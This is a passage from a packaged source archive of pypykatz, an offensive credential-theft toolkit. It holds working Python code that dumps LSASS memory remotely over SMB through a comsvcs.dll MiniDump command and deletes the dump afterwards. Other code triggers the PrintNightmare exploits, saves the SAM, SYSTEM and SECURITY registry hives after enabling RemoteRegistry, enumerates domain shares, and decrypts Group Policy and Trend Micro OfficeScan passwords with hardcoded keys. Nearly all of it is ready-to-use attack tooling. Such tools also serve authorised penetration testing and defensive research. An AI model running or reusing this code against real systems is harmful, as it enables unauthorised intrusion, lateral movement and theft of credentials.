'\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']): try: from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'task': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath) commands = [cmd] elif method == 'service': cmd = '' else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logger.debug('[LSASSDUMP][%s] Connecting to server...' % targetid) _, err = await connection.login() if err is not None: raise err logger.debug('[LSASSDUMP][%s] Connected!' % targetid) async with SMBMachine(connection) as machine: if method == 'task': logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) smbfile_inner, err = await machine.task_dump_lsass() if err is not None: raise err smbfile = SMBFileReader(smbfile_inner) #logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) #logger.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath)) #_, err = await machine.tasks_execute_commands(commands) #if err is not None: # raise err # #logger.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid) #for _ in range(5): # logger.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid) # await asyncio.sleep(5) # smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) # _, err = await smbfile.open(connection) # if err is not None: # if isinstance(err, SMBException): # if err.ntstatus == NTStatus.SHARING_VIOLATION: # logger.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid) # #await asyncio.sleep(1) # continue # raise err # break #else: # raise err elif method == 'service': logger.debug('[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid) smbfile_inner, err = await machine.service_dump_lsass() if err is not None: raise err smbfile = SMBFileReader(smbfile_inner) else: raise Exception('Unknown execution method %s' % method) logger.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid) logger.debug('[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid) mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages) logger.debug('[LSASSDUMP][%s] parsing OK!' % targetid) logger.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid) _, err = await smbfile.delete() if err is not None: print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err)) else: print('[%s] Remote LSASS file deleted OK!' % targetid) return targetid, mimi, None except Exception as e: import traceback traceback.print_exc() return targetid, None, e././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/smb/printer.py0000664000175000017500000000417414543266630017575 0ustar00webdevwebdevimport asyncio import os from pypykatz import logger async def printnightmare(url, dll_path, driverpath = None): try: from aiosmb.commons.connection.factory import SMBConnectionFactory from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionFactory.from_url(url) connection = smburl.get_connection() async with connection: logger.debug('[PRINTNIGHTMARE] Connecting to server...') _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) logger.debug('[PRINTNIGHTMARE] Connected!') logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...') _, err = await machine.printnightmare(dll_path, driverpath) if err is not None: raise err logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') return True, None except Exception as e: import traceback traceback.print_exc() return None, e async def parprintnightmare(url, dll_path, driverpath = None): try: from aiosmb.commons.connection.factory import SMBConnectionFactory from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionFactory.from_url(url) connection = smburl.get_connection() async with connection: logger.debug('[PARPRINTNIGHTMARE] Connecting to server...') _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) logger.debug('[PARPRINTNIGHTMARE] Connected!') logger.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...') _, err = await machine.par_printnightmare(dll_path, driverpath) if err is not None: raise err logger.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!') return True, None except Exception as e: import traceback traceback.print_exc() return None, e././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1705945213.0 pypykatz-0.6.10/pypykatz/smb/regutils.py0000664000175000017500000001724114553524175017751 0ustar00webdevwebdev import asyncio import os from pypykatz import logger from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3, targets = [], worker_cnt = 5): from aiosmb.commons.connection.factory import SMBConnectionFactory base_url = None base_conn = None mimis = [] workers = [] tgens = [] if targets is not None and len(targets) != 0: notfile = [] if targets is not None: for target in targets: try: f = open(target, 'r') f.close() tgens.append(FileTargetGen(target)) except: notfile.append(target) if len(notfile) > 0: tgens.append(ListTargetGen(notfile)) if isinstance(url, SMBConnectionFactory): base_url = url base_conn = url.get_connection() else: base_url = SMBConnectionFactory.from_url(url) base_conn = base_url.get_connection() regdump_coro = regdump_single( base_conn.target.get_hostname_or_ip(), base_conn, hives = hives, remote_base_path = remote_base_path, remote_share_name = remote_share_name, enable_wait = enable_wait ) workers.append(regdump_coro) for tgen in tgens: async for _, target, err in tgen.generate(): tconn = base_url.create_connection_newtarget(target) regdump_coro = regdump_single( tconn.target.get_hostname_or_ip(), tconn, hives = hives, remote_base_path = remote_base_path, remote_share_name = remote_share_name, enable_wait = enable_wait ) workers.append(regdump_coro) if len(workers) >= worker_cnt: tres = await asyncio.gather(*workers) for res in tres: yield res workers = [] if len(workers) > 0: tres = await asyncio.gather(*workers) for res in tres: yield res workers = [] async def regdump_single(targetid, connection, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3): try: from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.commons.interfaces.file import SMBFile from aiosmb.dcerpc.v5.common.service import ServiceStatus from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' po = None async with connection: logger.debug('[REGDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logger.debug('[REGDUMP] Connected to server!') async with SMBMachine(connection) as machine: logger.debug('[REGDUMP] Checking remote registry service status...') status, err = await machine.check_service_status('RemoteRegistry') if err is not None: raise err logger.debug('[REGDUMP] Remote registry service status: %s' % status.name) if status != ServiceStatus.RUNNING: logger.debug('[REGDUMP] Enabling Remote registry service') _, err = await machine.enable_service('RemoteRegistry') if err is not None: raise err logger.debug('[REGDUMP] Starting Remote registry service') _, err = await machine.start_service('RemoteRegistry') if err is not None: raise err await asyncio.sleep(enable_wait) logger.debug('[REGDUMP] Remote registry service should be running now...') files = {} for hive in hives: fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) remote_path = remote_base_path + fname remote_sharepath = remote_share_name + fname remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath)) files[hive.split('\\')[1].upper()] = remote_file logger.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) _, err = await machine.save_registry_hive(hive, remote_path) if err is not None: raise err #await asyncio.sleep(1) for rfilename in files: rfile = files[rfilename] logger.debug('[REGDUMP] Opening reghive file %s' % rfilename) _, err = await rfile.open(connection) if err is not None: raise err try: logger.debug('[REGDUMP] Parsing hives...') po = await OffineRegistry.from_async_reader( files['SYSTEM'], sam_reader = files.get('SAM'), security_reader = files.get('SECURITY'), software_reader = files.get('SOFTWARE') ) except Exception as e: print(e) logger.debug('[REGDUMP] Hives parsed OK!') logger.debug('[REGDUMP] Deleting remote files...') err = None for rfilename in files: rfile = files[rfilename] err = await rfile.close() if err is not None: logger.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) _, err = await rfile.delete() if err is not None: logger.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) if err is None: logger.info('[REGDUMP] Deleting remote files OK!') return targetid, po, None except Exception as e: return targetid, None, e async def regfile(url, system, sam = None, security = None, software = None, smb_basepath = None): from aiosmb.commons.connection.factory import SMBConnectionFactory from aiosmb.commons.interfaces.file import SMBFile from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionFactory.from_url(url) connection = smburl.get_connection() if smb_basepath is None: smb_basepath = smburl.path if smb_basepath.endswith('/') is False: smb_basepath += '/' smb_basepath = smb_basepath.replace('/', '\\') system_smbfile_path = smb_basepath + system sam_smbfile = None security_smbfile = None software_smbfile = None system_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, system_smbfile_path)) if sam: sam_smbfile_path = smb_basepath + sam sam_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, sam_smbfile_path)) if security: security_smbfile_path = smb_basepath + security security_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, security_smbfile_path)) if software: software_smbfile_path = smb_basepath + software software_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, software_smbfile_path)) po = None async with connection: logger.debug('[REGFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logger.debug('[REGFILE] Connected to server!') logger.debug('[REGFILE] Opening SYSTEM hive dump file...') # parse files here _, err = await system_smbfile.open(connection) if err is not None: raise err if sam_smbfile is not None: logger.debug('[REGFILE] Opening SAM hive dump file...') _, err = await sam_smbfile.open(connection) if err is not None: raise err if security_smbfile is not None: logger.debug('[REGFILE] Opening SECURITY hive dump file...') _, err = await security_smbfile.open(connection) if err is not None: raise err if software_smbfile is not None: logger.debug('[REGFILE] Opening SOFTWARE hive dump file...') _, err = await software_smbfile.open(connection) if err is not None: raise err logger.debug('[REGFILE] All files opened OK!') logger.debug('[REGFILE] Parsing hive files...') po = await OffineRegistry.from_async_reader(system_smbfile, sam_reader = sam_smbfile, security_reader = security_smbfile, software_reader = software_smbfile) logger.debug('[REGFILE] Hive files parsed OK!') return po ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/smb/shareenum.py0000664000175000017500000000565314543266630020104 0ustar00webdevwebdevfrom msldap.commons.factory import LDAPConnectionFactory from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None): from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if host is not None: logonserver = host return 'smb%s+sspi-%s://%s\\%s@%s' % (protocol_version, authmethod, info['domain'], info['username'], logonserver) def get_ldap_url(authmethod = 'ntlm', host = None): from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if host is not None: logonserver = host return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver) class LDAPTargetGen: def __init__(self, url): self.url = url async def generate(self): try: conn_url = LDAPConnectionFactory.from_url(self.url) connection = conn_url.get_client() _, err = await connection.connect() if err is not None: raise err adinfo = connection._ldapinfo domain_name = adinfo.distinguishedName.replace('DC','').replace('=','').replace(',','.') async for machine, err in connection.get_all_machines(attrs=['sAMAccountName', 'dNSHostName', 'objectSid']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name) yield str(machine.objectSid), str(dns), None except Exception as e: yield None, None, e async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []): if smb_url == 'auto': smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version) enumerator = SMBFileEnum( smb_url, worker_count = smb_worker_count, depth = depth, out_file = out_file, show_pbar = progress, max_items = max_items, fetch_dir_sd = dirsd, fetch_file_sd = filesd, output_type = output_type, max_runtime = max_runtime, exclude_share = exclude_share, exclude_dir = exclude_dir, exclude_target = exclude_target ) notfile = [] if targets is not None: for target in targets: try: f = open(target, 'r') f.close() enumerator.target_gens.append(FileTargetGen(target)) except: notfile.append(target) if len(notfile) > 0: enumerator.target_gens.append(ListTargetGen(notfile)) if ldap_url is not None: if ldap_url == 'auto': ldap_url = get_ldap_url(authmethod=authmethod) enumerator.target_gens.append(LDAPTargetGen(ldap_url)) if len(enumerator.target_gens) == 0: enumerator.enum_url = True #raise Exception('No suitable targets found!') await enumerator.run() ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/utils/0000775000175000017500000000000014647211624016107 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/utils/__init__.py0000664000175000017500000000000014543266630020210 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/utils/crypto/0000775000175000017500000000000014647211624017427 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/utils/crypto/__init__.py0000664000175000017500000000000014543266630021530 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/utils/crypto/cmdhelper.py0000664000175000017500000000523414543266630021752 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # class CryptoCMDHelper: def __init__(self): self.live_keywords = [] self.keywords = ['crypto'] def add_args(self, parser, live_parser): crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc') crypto_subparsers = crypto_group.add_subparsers() crypto_subparsers.required = True crypto_subparsers.dest = 'crypto_module' group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password') group.add_argument('password', help= 'Password to be hashed') group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password') group.add_argument('password', help= 'Password to be hashed') group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password') group.add_argument('username', help= 'username') group.add_argument('password', help= 'Password to be hashed') group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password') group.add_argument('username', help= 'username') group.add_argument('password', help= 'Password to be hashed') group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count') group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords') group.add_argument('enc', help='Encrypted password string') group = crypto_subparsers.add_parser('ofscan', help='Decrypt TrendMicro OfficeScan config file') group.add_argument('enc', help='Encrypted password string or path to ofcscan.ini file') def execute(self, args): if args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: raise Exception('There are no live commands for crypto.') #self.run_live(args) def run(self, args): from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2 from pypykatz.utils.crypto.gppassword import gppassword from pypykatz.utils.crypto.ofcdecrypt import ofscan_decrypt_data if args.crypto_module == 'nt': print(NT(args.password).hex()) elif args.crypto_module == 'lm': print(LM(args.password).hex()) elif args.crypto_module == 'dcc': print(MSDCC(args.username, args.password).hex()) elif args.crypto_module == 'dcc2': print(MSDCCv2(args.username, args.password, args.iteration_count).hex()) elif args.crypto_module == 'gppass': print(gppassword(args.enc)) elif args.crypto_module == 'ofscan': for param, res in ofscan_decrypt_data(args.enc): print('%s: %s' % (param, res))././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/utils/crypto/gppassword.py0000664000175000017500000000116614543266630022200 0ustar00webdevwebdev import base64 from unicrypto.symmetric import AES, MODE_CBC from unicrypto.backends.pure.padding.pkcs7 import unpad as pkcs7_unpad def gppassword(pw_enc_b64): AES_KEY = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b' AES_IV = b'\x00'*16 pad = len(pw_enc_b64) % 4 if pad == 1: pw_enc_b64 = pw_enc_b64[:-1] elif pad == 2 or pad == 3: pw_enc_b64 += '=' * (4 - pad) pw_enc = base64.b64decode(pw_enc_b64) ctx = AES(AES_KEY, MODE_CBC, IV = AES_IV) pw_dec = pkcs7_unpad(ctx.decrypt(pw_enc)) return pw_dec.decode('utf-16-le') ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/utils/crypto/ofcdecrypt.py0000664000175000017500000002671614543266630022161 0ustar00webdevwebdev# Python implementation of the Trend Micro Password Decryptor # This script decrypts encrypted passwords stored in the TrendMicro OfficeScan "odscan.ini" file # # original code from https://aluigi.altervista.org/pwdrec.htm#trendmicropwd # original code was developed by Luigi Auriemma in the year of 2008 # # This script was ported to Python by Tamas Jos @skelsec # # TODO: the script is missing the trendmicro_PWDDecrypt function, which doesn't seem to be in use anymore from unicrypto.symmetric import AES, cipherMODE import array import os import re def trendmicro_build_key(pwd1, pwd2): o = [513,1027,1541,2055] pwd1 = [x for x in pwd1] pwd2 = [x for x in pwd2] idxa = 0 idxb = 0 a = pwd1[idxa] b = pwd2[idxb] x = 0x7f3b for i in range(4): if a == 0 and b == 0: break x ^= ((a | (b << 8)) ^ 0x6b2c) & 0xffff t = i if i==1: t = 2 elif i==2: t = 1 o[t] ^= (x & 0xffff) idxa += 1 idxb += 1 if idxa >= len(pwd1): a = 0 else: a = pwd1[idxa] if idxb >= len(pwd2): b = 0 else: b = pwd2[idxb] return b''.join([int.to_bytes(x, 2, byteorder='little', signed=False) for x in o]) def trendmicro_crypt(encdata:str): multistr = 0 results = [] while len(encdata) > 0: multistr += 1 tablex = [0] * 768 if encdata[0] == '!': encdata = encdata[1:] blocks = int(encdata[0]) blocklen = bytes.fromhex(encdata[1:3])[0] encdata = encdata[3:] key = trendmicro_build_key(b"Windows7621673NT", b"Virus3761267Trend") res = '' tablex = trendmicro_crypt1(tablex, key) for i in range(blocks): i =i*16 blockdata = bytes.fromhex(encdata[i:i+16]) res += trendmicro_crypt2(tablex, blockdata) res = res[:blocklen] encdata = encdata[blocks*16:] rescrc = int.from_bytes(bytes.fromhex(encdata[:8]), byteorder='big', signed=False) encdata = encdata[8:] # crc is taken over all 4 byte aligned blocks (not the last block if it's not aligned) crcblocklen = (blocklen//4)*4 crc = 0x4f627a3b x = array.array('I', res.encode()[:crcblocklen]) for c in x: crc = (crc ^ c) & 0xffffffff if crc != rescrc: res = '!!!CRC MISMATCH!!!' + res if multistr == 1: res = res[3:] results.append(res) return ''.join(results) def trendmicro_crypt2(tablex, blockdata, encdec:bool=False): table1 = b"\x07\x02\x06\x02\x05\x02\x04\x02\x03\x02\x02\x02\x01\x02\x00\x02" +\ b"\x07\x08\x06\x08\x05\x08\x04\x08\x03\x08\x02\x08\x01\x08\x00\x08" +\ b"\x07\x20\x06\x20\x05\x20\x04\x20\x03\x20\x02\x20\x01\x20\x00\x20" +\ b"\x07\x80\x06\x80\x05\x80\x04\x80\x03\x80\x02\x80\x01\x80\x00\x80" +\ b"\x07\x01\x06\x01\x05\x01\x04\x01\x03\x01\x02\x01\x01\x01\x00\x01" +\ b"\x07\x04\x06\x04\x05\x04\x04\x04\x03\x04\x02\x04\x01\x04\x00\x04" +\ b"\x07\x10\x06\x10\x05\x10\x04\x10\x03\x10\x02\x10\x01\x10\x00\x10" +\ b"\x07\x40\x06\x40\x05\x40\x04\x40\x03\x40\x02\x40\x01\x40\x00\x40" table2 = b"\x1f\x00\x01\x02\x03\x04\x03\x04\x05\x06\x07\x08\x07\x08\x09\x0a" +\ b"\x0b\x0c\x0b\x0c\x0d\x0e\x0f\x10\x0f\x10\x11\x12\x13\x14\x13\x14" +\ b"\x15\x16\x17\x18\x17\x18\x19\x1a\x1b\x1c\x1b\x1c\x1d\x1e\x1f\x00" table3 = b"\x0e\x04\x0d\x01\x02\x0f\x0b\x08\x03\x0a\x06\x0c\x05\x09\x00\x07" +\ b"\x00\x0f\x07\x04\x0e\x02\x0d\x01\x0a\x06\x0c\x0b\x09\x05\x03\x08" +\ b"\x04\x01\x0e\x08\x0d\x06\x02\x0b\x0f\x0c\x09\x07\x03\x0a\x05\x00" +\ b"\x0f\x0c\x08\x02\x04\x09\x01\x07\x05\x0b\x03\x0e\x0a\x00\x06\x0d" +\ b"\x0f\x01\x08\x0e\x06\x0b\x03\x04\x09\x07\x02\x0d\x0c\x00\x05\x0a" +\ b"\x03\x0d\x04\x07\x0f\x02\x08\x0e\x0c\x00\x01\x0a\x06\x09\x0b\x05" +\ b"\x00\x0e\x07\x0b\x0a\x04\x0d\x01\x05\x08\x0c\x06\x09\x03\x02\x0f" +\ b"\x0d\x08\x0a\x01\x03\x0f\x04\x02\x0b\x06\x07\x0c\x00\x05\x0e\x09" +\ b"\x0a\x00\x09\x0e\x06\x03\x0f\x05\x01\x0d\x0c\x07\x0b\x04\x02\x08" +\ b"\x0d\x07\x00\x09\x03\x04\x06\x0a\x02\x08\x05\x0e\x0c\x0b\x0f\x01" +\ b"\x0d\x06\x04\x09\x08\x0f\x03\x00\x0b\x01\x02\x0c\x05\x0a\x0e\x07" +\ b"\x01\x0a\x0d\x00\x06\x09\x08\x07\x04\x0f\x0e\x03\x0b\x05\x02\x0c" +\ b"\x07\x0d\x0e\x03\x00\x06\x09\x0a\x01\x02\x08\x05\x0b\x0c\x04\x0f" +\ b"\x0d\x08\x0b\x05\x06\x0f\x00\x03\x04\x07\x02\x0c\x01\x0a\x0e\x09" +\ b"\x0a\x06\x09\x00\x0c\x0b\x07\x0d\x0f\x01\x03\x0e\x05\x02\x08\x04" +\ b"\x03\x0f\x00\x06\x0a\x01\x0d\x08\x09\x04\x05\x0b\x0c\x07\x02\x0e" +\ b"\x02\x0c\x04\x01\x07\x0a\x0b\x06\x08\x05\x03\x0f\x0d\x00\x0e\x09" +\ b"\x0e\x0b\x02\x0c\x04\x07\x0d\x01\x05\x00\x0f\x0a\x03\x09\x08\x06" +\ b"\x04\x02\x01\x0b\x0a\x0d\x07\x08\x0f\x09\x0c\x05\x06\x03\x00\x0e" +\ b"\x0b\x08\x0c\x07\x01\x0e\x02\x0d\x06\x0f\x00\x09\x0a\x04\x05\x03" +\ b"\x0c\x01\x0a\x0f\x09\x02\x06\x08\x00\x0d\x03\x04\x0e\x07\x05\x0b" +\ b"\x0a\x0f\x04\x02\x07\x0c\x09\x05\x06\x01\x0d\x0e\x00\x0b\x03\x08" +\ b"\x09\x0e\x0f\x05\x02\x08\x0c\x03\x07\x00\x04\x0a\x01\x0d\x0b\x06" +\ b"\x04\x03\x02\x0c\x09\x05\x0f\x0a\x0b\x0e\x01\x07\x06\x00\x08\x0d" +\ b"\x04\x0b\x02\x0e\x0f\x00\x08\x0d\x03\x0c\x09\x07\x05\x0a\x06\x01" +\ b"\x0d\x00\x0b\x07\x04\x09\x01\x0a\x0e\x03\x05\x0c\x02\x0f\x08\x06" +\ b"\x01\x04\x0b\x0d\x0c\x03\x07\x0e\x0a\x0f\x06\x08\x00\x05\x09\x02" +\ b"\x06\x0b\x0d\x08\x01\x04\x0a\x07\x09\x05\x00\x0f\x0e\x02\x03\x0c" +\ b"\x0d\x02\x08\x04\x06\x0f\x0b\x01\x0a\x09\x03\x0e\x05\x00\x0c\x07" +\ b"\x01\x0f\x0d\x08\x0a\x03\x07\x04\x0c\x05\x06\x0b\x00\x0e\x09\x02" +\ b"\x07\x0b\x04\x01\x09\x0c\x0e\x02\x00\x06\x0a\x0d\x0f\x03\x05\x08" +\ b"\x02\x01\x0e\x07\x04\x0a\x08\x0d\x0f\x0c\x09\x00\x03\x05\x06\x0b" table4 = b"\x0f\x06\x13\x14\x1c\x0b\x1b\x10\x00\x0e\x16\x19\x04\x11\x1e\x09" +\ b"\x01\x07\x17\x0d\x1f\x1a\x02\x08\x12\x0c\x1d\x05\x15\x0a\x03\x18" table5 = b"\x27\x07\x2f\x0f\x37\x17\x3f\x1f\x26\x06\x2e\x0e\x36\x16\x3e\x1e" +\ b"\x25\x05\x2d\x0d\x35\x15\x3d\x1d\x24\x04\x2c\x0c\x34\x14\x3c\x1c" +\ b"\x23\x03\x2b\x0b\x33\x13\x3b\x1b\x22\x02\x2a\x0a\x32\x12\x3a\x1a" +\ b"\x21\x01\x29\x09\x31\x11\x39\x19\x20\x00\x28\x08\x30\x10\x38\x18" tmp = [0] * 0x60 tmp2 = [0] * 0x30 bck = [0] * 0x20 for i in range(0x40): tmp[i] = 1 if (blockdata[table1[i * 2]] & table1[(i * 2) + 1]) else 0 for i in range(0x10): bck = tmp[0x20:0x40] if encdec is True: t = i else: t = 0xf - i for j in range(0x30): tmp2[j] = tmp[0x20 + table2[j]] ^ tablex[(t * 0x30) + j] for j in range(8): t = j*6 c = (tmp2[t] << 5) | (tmp2[t + 1] << 3) | (tmp2[t + 2] << 2) | (tmp2[t + 3] << 1) | tmp2[t + 4] | (tmp2[t + 5] << 4) c = table3[(j << 6) + c] t = j << 2 tmp[0x40 + t] = (c >> 3) & 1 tmp[0x41 + t] = (c >> 2) & 1 tmp[0x42 + t] = (c >> 1) & 1 tmp[0x43 + t] = c & 1 for j in range(0x20): tmp[0x20 + j] = tmp[j] ^ tmp[0x40 + table4[j]] tmp = bck + tmp[0x20:] bck = tmp[0x20:0x40] tmp = tmp[:0x20] + tmp[:0x20] + tmp[0x40:] tmp = bck + tmp[0x20:] tdata = [x for x in blockdata] t = 0 for i in range(8): tdata[i] = 0 j = 1 while j <= 0x80: if tmp[table5[t]]: tdata[i] |= j t += 1 j = j*2 tdata = ''.join(chr(x) for x in tdata) return tdata def trendmicro_crypt1(tablex, key): table1 = b"\x07\x01\x06\x01\x05\x01\x04\x01\x03\x01\x02\x01\x01\x01\x00\x01" +\ b"\x07\x02\x06\x02\x05\x02\x04\x02\x03\x02\x02\x02\x01\x02\x00\x02" +\ b"\x07\x04\x06\x04\x05\x04\x04\x04\x03\x04\x02\x04\x01\x04\x00\x04" +\ b"\x07\x08\x06\x08\x05\x08\x04\x08\x07\x40\x06\x40\x05\x40\x04\x40" +\ b"\x03\x40\x02\x40\x01\x40\x00\x40\x07\x20\x06\x20\x05\x20\x04\x20" +\ b"\x03\x20\x02\x20\x01\x20\x00\x20\x07\x10\x06\x10\x05\x10\x04\x10" +\ b"\x03\x10\x02\x10\x01\x10\x00\x10\x03\x08\x02\x08\x01\x08\x00\x08" table2 = b"\x01\x01\x02\x02\x02\x02\x02\x02\x01\x02\x02\x02\x02\x02\x02\x01" table3 = b"\x0d\x10\x0a\x17\x00\x04\x02\x1b\x0e\x05\x14\x09\x16\x12\x0b\x03" +\ b"\x19\x07\x0f\x06\x1a\x13\x0c\x01\x28\x33\x1e\x24\x2e\x36\x1d\x27" +\ b"\x32\x2c\x20\x2f\x2b\x30\x26\x37\x21\x34\x2d\x29\x31\x23\x1c\x1f" tmp = [0] * 0x38 for i in range(0x38): kl = key[table1[i * 2]] tl = table1[(i * 2) + 1] kt = kl & tl tmp[i] = 1 if kt else 0 c = 0 for i in range(0x10): c += table2[i] for j in range(0x30): t = table3[j] if t < 0x1C: r = 0 else: r = 0x1C t -= 0x1C t += c if t >= 0x1C: t -= 0x1C t += r tablex[(i * 0x30) + j] = tmp[t] return tablex def trendmicro_cryptex(encdata:str): # static AES key and IV # security is top notch key = b"\xeb\x06\xe9\xc7\x6c\x16\x1d\x6c\x89\x70\x3d\xfc\x72\x53\xff\xdd\x71\xad\x07\xbf\x12\xf4\xa2\xe7\xa0\x89\xfc\x7c\xa6\xca\x4b\x73" iv = b"\x15\x69\x2e\xfc\x39\x89\x4a\xba\x9b\x62\xce\x66\xc9\x05\x12\xae" dec = AES(key, cipherMODE.CBC, iv).decrypt(bytes.fromhex(encdata)) # remove pkcs1 padding from decrypted data dec = dec[:-dec[-1]] return dec[3:].decode('utf-8') def trendmicro_decrypt(encdata:str): if encdata.startswith('!CRYPT!') is True: return trendmicro_crypt(encdata[7:]) if encdata.startswith('!CRYPTEX!') is True: return trendmicro_cryptex(encdata[9:]) if encdata.startswith('!CRYPTEX3!') is True: return trendmicro_cryptex(encdata[10:]) if encdata.startswith('!CRYPTNG!') is True: return 'Decrypting CRYPTNG is not supported' def parse_ofscan_ini_file(filepath): pattern = re.compile(r'^([^=]+?)=((!CRYPTEX!|!CRYPT!|!CRYPTEX3!|!CRYPTNG!)[^=]+?)$') result = [] with open(filepath, 'r') as f: for line in f: line = line.strip() if line == '': continue match = pattern.match(line) if match: result.append((match.group(1), match.group(2))) return result def ofscan_decrypt_data(filepath_or_data): if os.path.isfile(filepath_or_data): lines = parse_ofscan_ini_file(filepath_or_data) else: lines = ['RESULT:', filepath_or_data] results = [] for line in lines: try: decdata = trendmicro_decrypt(line[1]) if decdata is None: continue results.append((line[0], decdata)) except Exception as e: results.append((line[0], 'Failed to decrypt: %s Reason: %s' % (line[1], e))) return results def 